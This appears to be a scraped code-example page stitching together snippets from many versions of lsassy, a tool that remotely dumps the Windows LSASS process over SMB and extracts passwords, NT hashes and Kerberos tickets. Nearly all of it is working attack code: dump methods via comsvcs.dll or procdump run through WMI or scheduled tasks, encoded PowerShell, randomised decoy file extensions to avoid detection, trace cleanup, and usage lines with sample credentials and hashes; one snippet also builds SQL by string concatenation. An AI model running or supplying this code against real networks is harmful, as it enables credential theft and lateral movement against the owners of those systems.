예제 #1
0
 def run_lsassy(
     self, context, connection
 ):  # Couldn't figure out how to properly retrieve output from the module without editing. Blatantly ripped from lsassy_dump.py. Thanks pixis - @hackanddo!
     logger.init(quiet=True)
     host = connection.host
     domain_name = connection.domain
     username = connection.username
     password = getattr(connection, "password", "")
     lmhash = getattr(connection, "lmhash", "")
     nthash = getattr(connection, "nthash", "")
     session = Session()
     session.get_session(address=host,
                         target_ip=host,
                         port=445,
                         lmhash=lmhash,
                         nthash=nthash,
                         username=username,
                         password=password,
                         domain=domain_name)
     if session.smb_session is None:
         context.log.error(
             "Couldn't connect to remote host. Password likely expired/changed. Removing from DB."
         )
         cursor.execute(
             "UPDATE admin_users SET hash = NULL WHERE username LIKE '" +
             username + "'")
         return False
     dumper = Dumper(session, timeout=10,
                     time_between_commands=7).load(self.method)
     if dumper is None:
         context.log.error("Unable to load dump method '{}'".format(
             self.method))
         return False
     file = dumper.dump()
     if file is None:
         context.log.error("Unable to dump lsass")
         return False
     credentials, tickets, masterkeys = Parser(file).parse()
     file.close()
     ImpacketFile.delete(session, file.get_file_path())
     if credentials is None:
         credentials = []
     credentials = [
         cred.get_object() for cred in credentials
         if not cred.get_username().endswith("$")
     ]
     credentials_unique = []
     credentials_output = []
     for cred in credentials:
         if [
                 cred["domain"], cred["username"], cred["password"],
                 cred["lmhash"], cred["nthash"]
         ] not in credentials_unique:
             credentials_unique.append([
                 cred["domain"], cred["username"], cred["password"],
                 cred["lmhash"], cred["nthash"]
             ])
             credentials_output.append(cred)
     global credentials_data
     credentials_data = credentials_output
예제 #2
0
 def __init__(self, session, timeout, *args, **kwargs):
     self._session = session
     self._file = ImpacketFile(self._session)
     self._file_handle = None
     self._executor_name = ""
     self._executor_path = ""
     self._executor_copied = False
     self._timeout = timeout
예제 #3
0
    def on_admin_login(self, context, connection):
        logger.init(quiet=True)
        host = connection.host
        domain_name = connection.domain
        username = connection.username
        password = getattr(connection, "password", "")
        lmhash = getattr(connection, "lmhash", "")
        nthash = getattr(connection, "nthash", "")

        session = Session()
        session.get_session(address=host,
                            target_ip=host,
                            port=445,
                            lmhash=lmhash,
                            nthash=nthash,
                            username=username,
                            password=password,
                            domain=domain_name)

        if session.smb_session is None:
            context.log.error("Couldn't connect to remote host")
            return False

        dumper = Dumper(session, timeout=10).load(self.method)
        if dumper is None:
            context.log.error("Unable to load dump method '{}'".format(
                self.method))
            return False
        file = dumper.dump()
        if file is None:
            context.log.error("Unable to dump lsass")
            return False

        credentials, tickets = Parser(file).parse()
        file.close()
        ImpacketFile.delete(session, file.get_file_path())
        if credentials is None:
            credentials = []
        credentials = [
            cred.get_object() for cred in credentials
            if not cred.get_username().endswith("$")
        ]
        credentials_unique = []
        credentials_output = []
        for cred in credentials:
            if [
                    cred["domain"], cred["username"], cred["password"],
                    cred["lmhash"], cred["nthash"]
            ] not in credentials_unique:
                credentials_unique.append([
                    cred["domain"], cred["username"], cred["password"],
                    cred["lmhash"], cred["nthash"]
                ])
                credentials_output.append(cred)
        self.process_credentials(context, connection, credentials_output)
예제 #4
0
def run():
    import argparse
    parser = argparse.ArgumentParser(
        description='lsassy v{} - Remote lsass dump reader'.format(version))
    group_auth = parser.add_argument_group('Authentication')
    group_auth.add_argument('--hashes', action='store', help='[LM:]NT hash')
    group_out = parser.add_argument_group('Output')
    group_out.add_argument('-j',
                           '--json',
                           action='store_true',
                           help='Print credentials in JSON format')
    group_out.add_argument('-k',
                           '--kerberos-dir',
                           help='Save kerberos tickets to a directory.')
    group_out.add_argument('-g',
                           '--grep',
                           action='store_true',
                           help='Print credentials in greppable format')
    group_out.add_argument('-o', '--outfile', help='Save results to file')
    parser.add_argument('-r',
                        '--raw',
                        action='store_true',
                        help='Raw results without filtering')
    parser.add_argument('-d',
                        '--debug',
                        action='store_true',
                        help='Debug output')
    parser.add_argument('-V',
                        '--version',
                        action='version',
                        version='%(prog)s (version {})'.format(version))
    parser.add_argument(
        'target',
        action='store',
        help=
        '[domain/]username[:password]@<host>:/share_name/path/to/lsass/dump')

    if len(sys.argv) == 1:
        parser.print_help()
        sys.exit(0)

    args = parser.parse_args()
    conn, share_name, file_path = ImpacketConnection.from_args(
        args, args.debug)

    ifile = ImpacketFile()
    ifile.open(conn, share_name, file_path)
    dumpfile = pypykatz.parse_minidump_external(ifile)
    parser = Parser(dumpfile)
    parser.output(args)
예제 #5
0
파일: __main__.py 프로젝트: gavz/lsassy
def run():
    import argparse
    parser = argparse.ArgumentParser(description='Pure Python implementation of Mimikatz --and more--')
    parser.add_argument('--json', action='store_true',help = 'Print credentials in JSON format')
    parser.add_argument('-k', '--kerberos-dir', help = 'Save kerberos tickets to a directory.')
    parser.add_argument('-g', '--grep', action='store_true', help = 'Print credentials in greppable format')
    parser.add_argument('-o', '--outfile', help = 'Save results to file (you can specify --json for json file, or text format will be written)')
    parser.add_argument('-d', '--debug', action='store_true', help = 'Debug output')
    parser.add_argument('target', action='store', help='[domain/]username[:password]@<host>:/shareName/path/to/lsass/dump')
    parser.add_argument('-V', '--version', action='version', version='%(prog)s (version {})'.format(version))
    args = parser.parse_args()
    conn, share_name, file_path  = ImpacketConnection.from_args(args, args.debug)
    ifile = ImpacketFile()
    ifile.open(conn, share_name, file_path)
    dumpfile = pypykatz.parse_minidump_external(ifile)
    LSACMDHelper().process_results({"dumfile": dumpfile}, [], args)
예제 #6
0
    def upload(self, session):
        # Upload dependency

        if self.content is None:
            logging.debug('Copy {} to {}'.format(self.path, self.remote_path))
            with open(self.path, 'rb') as p:
                try:
                    session.smb_session.putFile(self.remote_share, self.remote_path + self.file, p.read)
                    logging.success("{} uploaded".format(self.name))
                    self.uploaded = True
                    return True
                except Exception as e:
                    logging.error("{} upload error".format(self.name), exc_info=True)
                    return None
        else:
            if not ImpacketFile.create_file(session, self.remote_share, self.remote_path, self.file, self.content):
                logging.error("{} upload error".format(self.name), exc_info=True)
                return None
            logging.success("{} uploaded".format(self.name))
            self.uploaded = True
            return True
예제 #7
0
def run():
    import argparse

    examples = '''examples:
    
  ** RunDLL Dump Method **
  lsassy adsec.local/pixis:[email protected]
  
  ** Procdump Dump Method **
  lsassy -P /tmp/procdump.exe adsec.local/pixis:[email protected]
  
  ** Remote parsing only **
  lsassy -p C$/Windows/Temp/lsass.dmp adsec.local/pixis:[email protected]
  
  ** Output functions **
  lsassy -j -q -p C$/Windows/Temp/lsass.dmp [email protected]
  lsassy --hashes 952c28bd2fd728898411b301475009b7 [email protected]
  
  lsassy -d adsec.local/pixis:[email protected]'''

    parser = argparse.ArgumentParser(
        prog="lsassy",
        description='lsassy v{} - Remote lsass dump reader'.format(version),
        epilog=examples,
        formatter_class=argparse.RawDescriptionHelpFormatter)
    group_auth = parser.add_argument_group('procdump (default DLL)')
    group_auth.add_argument('-p',
                            '--procdump',
                            action='store',
                            help='procdump path')
    group_auth = parser.add_argument_group('authentication')
    group_auth.add_argument('--hashes', action='store', help='[LM:]NT hash')
    group_out = parser.add_argument_group('output')
    group_out.add_argument('-j',
                           '--json',
                           action='store_true',
                           help='Print credentials in JSON format')
    group_out.add_argument('-g',
                           '--grep',
                           action='store_true',
                           help='Print credentials in greppable format')
    group_extract = parser.add_argument_group('remote parsing only')
    group_extract.add_argument(
        '--dumppath',
        action='store',
        help='lsass dump path (Format : c$/Temp/lsass.dmp)')
    parser.add_argument('-r',
                        '--raw',
                        action='store_true',
                        help='Raw results without filtering')
    parser.add_argument('-d',
                        '--debug',
                        action='store_true',
                        help='Debug output')
    parser.add_argument('-q',
                        '--quiet',
                        action='store_true',
                        help='Quiet mode, only display credentials')
    parser.add_argument('-V',
                        '--version',
                        action='version',
                        version='%(prog)s (version {})'.format(version))
    parser.add_argument('target',
                        action='store',
                        help='[domain/]username[:password]@<host>')

    if len(sys.argv) == 1:
        parser.print_help()
        sys.exit(0)

    args = parser.parse_args()

    logger = Logger(args.debug, args.quiet)

    conn = ImpacketConnection.from_args(args, logger)
    file_path = args.dumppath

    dumper = None
    if not args.dumppath:
        dumper = Dumper(conn, args, logger)
        if args.procdump:
            file_path = dumper.dump("procdump")
        else:
            file_path = dumper.dump("dll")
        if not file_path:
            exit()

    ifile = ImpacketFile(logger)
    ifile.open(conn, file_path)
    dumpfile = pypykatz.parse_minidump_external(ifile)
    ifile.close()
    parser = Parser(dumpfile, logger)
    parser.output(args)

    if dumper is not None:
        dumper.clean()
    conn.close()
예제 #8
0
파일: procdump.py 프로젝트: ASkyeye/lsassy
 def clean(self):
     if self.procdump_uploaded:
         ImpacketFile.delete(self._session,
                             self.procdump_remote_path + self.procdump,
                             timeout=self._timeout)
예제 #9
0
파일: dumper.py 프로젝트: madaolw/lsassy
    def dump(self):
        """
        Dump lsass on remote host. Different methods can be used.
        If you chose to dump lsass using built-in comsvcs.dll method, you need SeDebugPrivilege. This privilege
        is either in Powershell admin context, or cmd.exe SYSTEM context.
        Two execution methods can be used.
        1. WMIExec with cmd.exe (no SeDebugPrivilege) or powershell.exe (SeDebugPrivilege)
        2. ScheduledTask which is SYSTEM context (SeDebugPrivilege).
        These constraints lead to different possibilities. By default, comsvcs.dll method will be used and will try
        Powershell with WMI, Powershell with scheduled task, and cmd.exe with scheduled task
        """
        """
        A "methodology can be described in an array of 3 elements:
        1. 1st element : Dump method to use (dll, procdump)
        2. Shell context to use (powershell, cmd)
        3. List of remote execution methods (wmi, task)
        """
        if self._method == "0":
            dump_methodologies = [["dll", "powershell", ("wmi", "task")],
                                  ["dll", "cmd", ("task", )],
                                  ["procdump", "cmd", ("wmi", "task")]]
        elif self._method == "1":
            dump_methodologies = [["dll", "powershell", ("wmi", "task")],
                                  ["dll", "cmd", ("task", )]]
        elif self._method == "2":
            dump_methodologies = [["procdump", "cmd", ("wmi", "task")]]
        elif self._method == "3":
            dump_methodologies = [["dll", "powershell", ("wmi", "task")]]
        elif self._method == "4":
            dump_methodologies = [["dll", "cmd", ("task", )]]
        else:
            self._log.error(
                "Method \"{}\" is not supported (0-4). See -h for help".format(
                    self._method))
            return False

        ifile = ImpacketFile(self._conn, self._log)
        for dump_methodology in dump_methodologies:
            dump_method, exec_shell, exec_methods = dump_methodology
            self._log.debug("Trying \"{}\" method".format(dump_method))
            if dump_method == "dll":
                dumped = self.dll_dump(exec_methods, exec_shell)
            elif dump_method == "procdump":
                dumped = self.procdump_dump(exec_methods)
            else:
                self._log.error(
                    "Incorrect dump method \"{}\". Currently supported : procdump, dll"
                    .format(dump_method))
                continue

            if dumped:
                """
                If procdump failed, a dumpfile was created, and its content is "FAILED"
                Best guess is that lsass is protected in some way (PPL, AV, ...)
                """
                try:
                    ifile.open((self._share + self._tmp_dir +
                                self._remote_lsass_dump).replace("\\", "/"),
                               timeout=self._timeout)

                    if ifile.size() < 100 and ifile.read(6).decode(
                            'utf-8') == "FAILED":
                        self._log.error("lsass is protected")
                        ifile.close()
                        return False
                    ifile.seek(0)
                    return ifile
                except Exception as e:
                    self._log.warn(
                        "No dump file found with \"{}\" using \"{}\" exec method."
                        .format(dump_method, exec_shell))
                    self._log.debug("Error : {}".format(str(e)))
        """
        If no dump file was found, it means that procdump didn't crash, so it may take more time than expected.
        """
        self._log.warn("Target could be slow. Try to increase --timeout value")
        return False
예제 #10
0
파일: __init__.py 프로젝트: ASkyeye/lsassy
 def __init__(self, session, timeout, *args, **kwargs):
     self._session = session
     self._file = ImpacketFile(self._session)
     self._file_handle = None
     self._timeout = timeout
예제 #11
0
파일: __init__.py 프로젝트: ASkyeye/lsassy
class IDumpMethod:

    need_debug_privilege = False
    custom_dump_path_support = True
    custom_dump_name_support = True

    dump_name = ""
    dump_share = "C$"
    dump_path = "\\Windows\\Temp\\"

    exec_methods = ("smb", "wmi", "task", "mmc")

    def __init__(self, session, timeout, *args, **kwargs):
        self._session = session
        self._file = ImpacketFile(self._session)
        self._file_handle = None
        self._timeout = timeout

    def get_exec_method(self, exec_method, no_powershell=False):
        try:
            exec_method = importlib.import_module(
                "lsassy.exec.{}".format(exec_method.lower()),
                "Exec").Exec(self._session)
        except ModuleNotFoundError:
            logging.error("Exec module '{}' doesn't exist".format(
                exec_method.lower()),
                          exc_info=True)
            return None

        if not self.need_debug_privilege or exec_method.debug_privilege:
            return exec_method

        if no_powershell:
            return None

        return exec_method

    def get_commands(self):
        raise NotImplementedError

    def prepare(self, options):
        return True

    def clean(self):
        return True

    def exec_method(self):
        return self.need_debug_privilege

    def build_exec_command(self, commands, exec_method, no_powershell=False):
        logging.debug(
            "Building command - Exec Method has seDebugPrivilege: {} | seDebugPrivilege needed: {} | Powershell allowed: {}"
            .format(exec_method.debug_privilege, self.need_debug_privilege,
                    not no_powershell))
        if commands["cmd"] is not None and (not self.need_debug_privilege
                                            or exec_method.debug_privilege):
            logging.debug(commands["cmd"])
            built_command = """cmd.exe /Q /c {}""".format(commands["cmd"])
        elif commands["pwsh"] is not None and not no_powershell:
            logging.debug(commands["pwsh"])
            command = base64.b64encode(
                commands["pwsh"].encode('UTF-16LE')).decode("utf-8")
            built_command = "powershell.exe -NoP -Enc {}".format(command)
        else:
            logging.error("Shouldn't fall here. Incompatible constraints")
            return None
        return built_command

    def dump(self,
             dump_path=None,
             dump_name=None,
             no_powershell=False,
             exec_methods=None,
             timeout=5,
             **kwargs):
        logging.info("Dumping via {}".format(self.__module__))
        if exec_methods is not None:
            self.exec_methods = exec_methods

        if dump_name is not None:
            if not self.custom_dump_name_support:
                logging.warning(
                    "A custom dump name was provided, but dump method {} doesn't support custom dump name"
                    .format(self.__module__))
                logging.warning("Dump file will be {}".format(self.dump_name))
            else:
                self.dump_name = dump_name
        elif self.dump_name == "":
            ext = [
                "csv", "db", "dbf", "log", "sav", "sql", "tar", "xml", "fnt",
                "fon", "otf", "ttf", "bak", "cfg", "cpl", "cur", "dll", "drv",
                "icns", "ico", "ini", "lnk", "msi", "sys", "tmp", "doc",
                "docx", "odt", "pdf", "rtf", "tex", "txt", "wpd", "png", "jpg"
            ]
            self.dump_name = "{}.{}".format(
                ''.join(
                    random.choice(string.ascii_letters + string.digits)
                    for _ in range(random.randint(3, 9))), random.choice(ext))

        if dump_path is not None:
            if not self.custom_dump_path_support:
                logging.warning(
                    "A custom dump path was provided, but dump method {} doesn't support custom dump path"
                    .format(self.__module__))
                logging.warning("Dump path will be {}{}".format(
                    self.dump_share, self.dump_path))
            else:
                self.dump_path = dump_path

        valid_exec_methods = {}
        for e in self.exec_methods:
            exec_method = self.get_exec_method(e, no_powershell)
            if exec_method is not None:
                valid_exec_methods[e] = exec_method
            else:
                logging.debug("Exec method '{}' is not compatible".format(e))

        if len(valid_exec_methods) == 0:
            logging.error("Current dump constrains cannot be fulfilled")
            logging.debug("Dump class: {} (Need SeDebugPrivilege: {})".format(
                self.__module__, self.need_debug_privilege))
            logging.debug("Exec methods: {}".format(self.exec_methods))
            logging.debug("Powershell allowed: {}".format(
                "No" if no_powershell else "Yes"))
            return None

        if self.prepare(kwargs) is None:
            logging.error("Module prerequisites could not be processed")
            self.clean()
            return None

        try:
            commands = self.get_commands()
        except NotImplementedError:
            logging.warning(
                "Module '{}' hasn't implemented all required methods".format(
                    self.__module__))
            return None

        if not isinstance(
                commands,
                dict) or "cmd" not in commands or "pwsh" not in commands:
            logging.warning(
                "Return value of {} was not expected. Expecting {'cmd':'...', 'pwsh':'...'}"
            )
            return None

        for e, exec_method in valid_exec_methods.items():
            logging.info("Trying {} method".format(e))
            exec_command = self.build_exec_command(commands, exec_method,
                                                   no_powershell)
            if exec_command is None:
                # Shouldn't fall there, but if we do, just skip to next execution method
                continue
            logging.debug("Transformed command: {}".format(exec_command))
            try:
                if not exec_method.exec(exec_command):
                    logging.error("Failed to dump lsass using {}".format(e))
                    self.clean()
                    continue
                self._file_handle = self._file.open(self.dump_share,
                                                    self.dump_path,
                                                    self.dump_name,
                                                    timeout=timeout)
                if self._file_handle is None:
                    logging.error("Failed to dump lsass using {}".format(e))
                    self.clean()
                    continue
                logging.success(
                    "Lsass dumped successfully in C:{}{} ({} Bytes)".format(
                        self.dump_path, self.dump_name,
                        self._file_handle.size()))
                self.clean()
                return self._file_handle
            except Exception:
                logging.error("Execution method {} has failed".format(
                    exec_method.__module__),
                              exc_info=True)
                continue
        logging.error("All execution methods have failed")
        self.clean()
        return None

    def failsafe(self, timeout=3):
        t = time.time()
        while True:
            if self._file_handle is not None:
                self._file_handle.delete(timeout=timeout)
            else:
                try:
                    self._session.smb_session.deleteFile(
                        self.dump_share, self.dump_path + "/" + self.dump_name)
                    logging.debug("Lsass dump successfully deleted")
                except Exception as e:
                    if "STATUS_OBJECT_NAME_NOT_FOUND" in str(
                            e) or "STATUS_NO_SUCH_FILE" in str(e):
                        return True
                    if time.time() - t > timeout:
                        logging.warning(
                            "Lsass dump wasn't removed in {}{}".format(
                                self.dump_share,
                                self.dump_path + "/" + self.dump_name),
                            exc_info=True)
                        return None
                    logging.debug(
                        "Unable to delete lsass dump file {}{}. Retrying...".
                        format(self.dump_share,
                               self.dump_path + "/" + self.dump_name))
                    time.sleep(0.5)
예제 #12
0
 def clean(self):
     if self.comsvcs_copied:
         ImpacketFile.delete(self._session,
                             self.comsvcs_copy_path +
                             self.comsvcs_copy_name,
                             timeout=self._timeout)
예제 #13
0
파일: core.py 프로젝트: ASkyeye/lsassy
    def run(self):
        """
        Main method to dump credentials on a remote host
        """
        session, file, dumper, method = None, None, None, None

        # Credential parsing
        username = self.args.username if self.args.username else ""
        password = self.args.password if self.args.password else ""

        lmhash, nthash = "", ""
        if not password and self.args.hashes:
            if ":" in self.args.hashes:
                lmhash, nthash = self.args.hashes.split(":")
            else:
                lmhash, nthash = 'aad3b435b51404eeaad3b435b51404ee', self.args.hashes

        # Exec methods parsing
        exec_methods = self.args.exec.split(",") if self.args.exec else None

        # Dump modules options parsing
        options = {
            v.split("=")[0]: v.split("=")[1]
            for v in self.args.options.split(",")
        } if self.args.options else {}

        # Dump path checks
        dump_path = self.args.dump_path
        if dump_path:
            dump_path = dump_path.replace('/', '\\')
            if len(dump_path) > 1 and dump_path[1] == ":":
                if dump_path[0] != "C":
                    logging.error(
                        "Drive '{}' is not supported. 'C' drive only.".format(
                            dump_path[0]))
                    return False
                dump_path = dump_path[2:]
            if dump_path[-1] != "\\":
                dump_path += "\\"

        parse_only = self.args.parse_only
        kerberos_dir = self.args.kerberos_dir

        if parse_only and (dump_path is None or self.args.dump_name is None):
            logging.error(
                "--dump-path and --dump-name required for --parse-only option")
            return False

        try:
            session = Session()
            session.get_session(address=self.target,
                                target_ip=self.target,
                                port=self.args.port,
                                lmhash=lmhash,
                                nthash=nthash,
                                username=username,
                                password=password,
                                domain=self.args.domain,
                                aesKey=self.args.aesKey,
                                dc_ip=self.args.dc_ip,
                                kerberos=self.args.kerberos,
                                timeout=self.args.timeout)

            if session.smb_session is None:
                logging.error("Couldn't connect to remote host")
                return False

            if not parse_only:
                dumper = Dumper(session,
                                self.args.timeout).load(self.args.dump_method)
                if dumper is None:
                    logging.error("Unable to load dump module")
                    return False

                file = dumper.dump(no_powershell=self.args.no_powershell,
                                   exec_methods=exec_methods,
                                   dump_path=dump_path,
                                   dump_name=self.args.dump_name,
                                   timeout=self.args.timeout,
                                   **options)
                if file is None:
                    logging.error("Unable to dump lsass.")
                    return False
            else:
                file = ImpacketFile(session).open(share="C$",
                                                  path=dump_path,
                                                  file=self.args.dump_name,
                                                  timeout=self.args.timeout)
                if file is None:
                    logging.error("Unable to open lsass dump.")
                    return False

            credentials, tickets = Parser(file).parse()
            file.close()

            if not parse_only:
                ImpacketFile.delete(session,
                                    file.get_file_path(),
                                    timeout=self.args.timeout)
                logging.success("Lsass dump successfully deleted")
            else:
                logging.debug(
                    "Not deleting lsass dump as --parse-only was provided")

            if credentials is None:
                logging.error(
                    "Unable to extract credentials from lsass. Cleaning.")
                return False

            with lock:
                Writer(credentials,
                       tickets).write(self.args.format,
                                      output_file=self.args.outfile,
                                      quiet=self.args.quiet,
                                      users_only=self.args.users,
                                      kerberos_dir=kerberos_dir)

        except KeyboardInterrupt:
            pass
        except Exception as e:
            logging.error("An unknown error has occurred.", exc_info=True)
        finally:
            logging.debug("Cleaning...")
            logging.debug("dumper: {}".format(dumper))
            logging.debug("file: {}".format(file))
            logging.debug("session: {}".format(session))
            try:
                dumper.clean()
                logging.debug("Dumper cleaned")
            except Exception as e:
                logging.debug(
                    "Potential issue while cleaning dumper: {}".format(str(e)))

            try:
                file.close()
                logging.debug("File closed")
            except Exception as e:
                logging.debug("Potential issue while closing file: {}".format(
                    str(e)))

            if not parse_only:
                try:
                    if ImpacketFile.delete(session,
                                           file_path=file.get_file_path(),
                                           timeout=self.args.timeout):
                        logging.debug("Lsass dump successfully deleted")
                except Exception as e:
                    try:
                        logging.debug(
                            "Couldn't delete lsass dump using file. Trying dump object..."
                        )
                        if ImpacketFile.delete(session,
                                               file_path=dumper.dump_path +
                                               dumper.dump_name,
                                               timeout=self.args.timeout):
                            logging.debug("Lsass dump successfully deleted")
                    except Exception as e:
                        logging.debug(
                            "Potential issue while deleting lsass dump: {}".
                            format(str(e)))

            try:
                session.smb_session.close()
                logging.debug("SMB session closed")
            except Exception as e:
                logging.debug(
                    "Potential issue while closing SMB session: {}".format(
                        str(e)))
예제 #14
0
def run():
    import argparse

    examples = '''examples:
    
  ** RunDLL Dump Method **
  lsassy adsec.local/pixis:[email protected]
  
  ** Try all methods **
  lsassy -m 0 adsec.local/pixis:[email protected]

  ** Procdump Dump Method **
  lsassy -m 2 -p /tmp/procdump.exe adsec.local/pixis:[email protected]
  
  ** Remote parsing only **
  lsassy --dumppath C$/Windows/Temp/lsass.dmp adsec.local/pixis:[email protected]
  
  ** Output functions **
  lsassy -j -q [email protected]
  lsassy -g --hashes 952c28bd2fd728898411b301475009b7 [email protected]'''

    parser = argparse.ArgumentParser(
        prog="lsassy",
        description='lsassy v{} - Remote lsass dump reader'.format(version),
        epilog=examples,
        formatter_class=argparse.RawTextHelpFormatter
    )

    group_auth = parser.add_argument_group('authentication')
    group_auth.add_argument('--hashes', action='store', help='[LM:]NT hash')
    group_out = parser.add_argument_group('output')
    group_out.add_argument('-j', '--json', action='store_true',help='Print credentials in JSON format')
    group_out.add_argument('-g', '--grep', action='store_true', help='Print credentials in greppable format')
    group_extract = parser.add_argument_group('remote parsing only')
    group_extract.add_argument('--dumppath', action='store', help='lsass dump path (Format : c$/Temp/lsass.dmp)')
    parser.add_argument('-m', '--method', action='store', default="1", help='''Dumping method
    0: Try all methods to dump procdump, stop on success (Requires -p if dll method fails)
    1: comsvcs.dll method, stop on success (default)
    2: Procdump method, stop on success (Requires -p)
    3: comsvcs.dll + Powershell method, stop on success
    4: comsvcs.dll + cmd.exe method''')
    parser.add_argument('--dumpname', action='store', help='Name given to lsass dump (Default: Random)')
    parser.add_argument('-p', '--procdump', action='store', help='Procdump path')
    parser.add_argument('-r', '--raw', action='store_true', help='No basic result filtering')
    parser.add_argument('-d', '--debug', action='store_true', help='Debug output')
    parser.add_argument('-q', '--quiet', action='store_true', help='Quiet mode, only display credentials')
    parser.add_argument('-V', '--version', action='version', version='%(prog)s (version {})'.format(version))
    parser.add_argument('target', action='store', help='[domain/]username[:password]@<host>')

    if len(sys.argv) == 1:
        parser.print_help()
        sys.exit(0)

    args = parser.parse_args()

    logger = Logger(args.debug, args.quiet)

    conn = ImpacketConnection.from_args(args, logger)
    file_path = args.dumppath

    dumper = None

    if not args.dumppath:
        dumper = Dumper(conn, args, logger)
        file_path = dumper.dump()
        if not file_path:
            logger.error("lsass could not be dumped")
            exit()
        logger.success("Process lsass.exe is being dumped")

    ifile = ImpacketFile(logger)
    ifile.open(conn, file_path)
    dumpfile = pypykatz.parse_minidump_external(ifile)
    ifile.close()
    parser = Parser(dumpfile, logger)
    parser.output(args)

    if dumper is not None:
        dumper.clean()
    conn.close()
예제 #15
0
파일: dllinject.py 프로젝트: ASkyeye/lsassy
 def clean_loader(self):
     if self.loader_uploaded:
         ImpacketFile.delete(self._session,
                             self.loader_remote_path + self.loader,
                             timeout=self._timeout)
예제 #16
0
 def clean(self, session, timeout):
     if self.uploaded:
         ImpacketFile.delete(session, self.remote_path + self.file, timeout=timeout)
예제 #17
0
 def executor_clean(self):
     if self._executor_copied:
         ImpacketFile.delete(self._session, self._executor_path + self._executor_name, timeout=self._timeout)
         logging.debug("Executor copy deleted")
예제 #18
0
 def clean(self):
     if self.dumpertdll_uploaded:
         ImpacketFile.delete(self._session,
                             self.dumpertdll_remote_path + self.dumpertdll,
                             timeout=self._timeout)
예제 #19
0
def run():
    import argparse

    examples = '''examples:
    
  ** RunDLL Dump Method **
  lsassy adsec.local/pixis:[email protected]
  
  ** Try all methods **
  lsassy -m 0 adsec.local/pixis:[email protected]

  ** Procdump Dump Method **
  lsassy -m 2 -p /tmp/procdump.exe adsec.local/pixis:[email protected]
  
  ** Remote parsing only **
  lsassy --dumppath C$/Windows/Temp/lsass.dmp adsec.local/pixis:[email protected]
  
  ** Output functions **
  lsassy -j -q [email protected]
  lsassy -g --hashes 952c28bd2fd728898411b301475009b7 [email protected]'''

    parser = argparse.ArgumentParser(
        prog="lsassy",
        description='lsassy v{} - Remote lsass dump reader'.format(version),
        epilog=examples,
        formatter_class=argparse.RawTextHelpFormatter)

    group_dump = parser.add_argument_group('dump')
    group_dump.add_argument('-m',
                            '--method',
                            action='store',
                            default="1",
                            help='''Dumping method
    0: Try all methods (dll then procdump) to dump lsass, stop on success (Requires -p if dll method fails)
    1: comsvcs.dll method, stop on success (default)
    2: Procdump method, stop on success (Requires -p)
    3: comsvcs.dll + Powershell method, stop on success
    4: comsvcs.dll + cmd.exe method''')
    group_dump.add_argument('--dumpname',
                            action='store',
                            help='Name given to lsass dump (Default: Random)')
    group_dump.add_argument('-p',
                            '--procdump',
                            action='store',
                            help='Procdump path')
    group_dump.add_argument(
        '--timeout',
        default="10",
        action='store',
        help='Timeout before considering lsass was not dumped successfully')

    group_auth = parser.add_argument_group('authentication')
    group_auth.add_argument('--hashes', action='store', help='[LM:]NT hash')

    group_out = parser.add_argument_group('output')
    group_out.add_argument('-j',
                           '--json',
                           action='store_true',
                           help='Print credentials in JSON format')
    group_out.add_argument('-g',
                           '--grep',
                           action='store_true',
                           help='Print credentials in greppable format')
    group_extract = parser.add_argument_group('remote parsing only')
    group_extract.add_argument(
        '--dumppath',
        action='store',
        help='lsass dump path (Format : c$/Temp/lsass.dmp)')

    parser.add_argument(
        '-r',
        '--raw',
        action='store_true',
        help=
        'No basic result filtering (Display host credentials and duplicates)')
    parser.add_argument('-d',
                        '--debug',
                        action='store_true',
                        help='Debug output')
    parser.add_argument('-q',
                        '--quiet',
                        action='store_true',
                        help='Quiet mode, only display credentials')
    parser.add_argument('-V',
                        '--version',
                        action='version',
                        version='%(prog)s (version {})'.format(version))
    parser.add_argument('target',
                        action='store',
                        help='[domain/]username[:password]@<host>')

    if len(sys.argv) == 1:
        parser.print_help()
        sys.exit(RetCode(ERROR_MISSING_ARGUMENTS).error_code)

    args = parser.parse_args()
    logger = Logger(args.debug, args.quiet)

    conn = ImpacketConnection.from_args(args, logger)

    if isinstance(conn, RetCode):
        return_code = conn
        lsassy_exit(logger, return_code)

    return_code = conn.isadmin()
    if not return_code.success():
        conn.close()
        lsassy_exit(logger, return_code)

    dumper = None
    ifile = None

    try:
        if not args.dumppath:
            dumper = Dumper(conn, args, logger)
            ifile = dumper.dump()
            if isinstance(ifile, RetCode):
                return_code = ifile
            else:
                logger.success("Process lsass.exe has been dumped")
        else:
            ifile = ImpacketFile(conn, logger).open(args.dumppath)
            if not isinstance(ifile, ImpacketFile):
                return_code = ifile

        if return_code.success():
            dumpfile = pypykatz.parse_minidump_external(ifile)
            ifile.close()
            parser = Parser(dumpfile, logger)
            parser.output(args)
    except KeyboardInterrupt as e:
        print("\nQuitting gracefully...")
        return_code = RetCode(ERROR_USER_INTERRUPTION)
    except Exception as e:
        return_code = RetCode(ERROR_UNDEFINED, e)
        pass
    finally:
        try:
            ifile.close()
        except Exception as e:
            pass
        if dumper is not None:
            dumper.clean()
        conn.close()
        lsassy_exit(logger, return_code)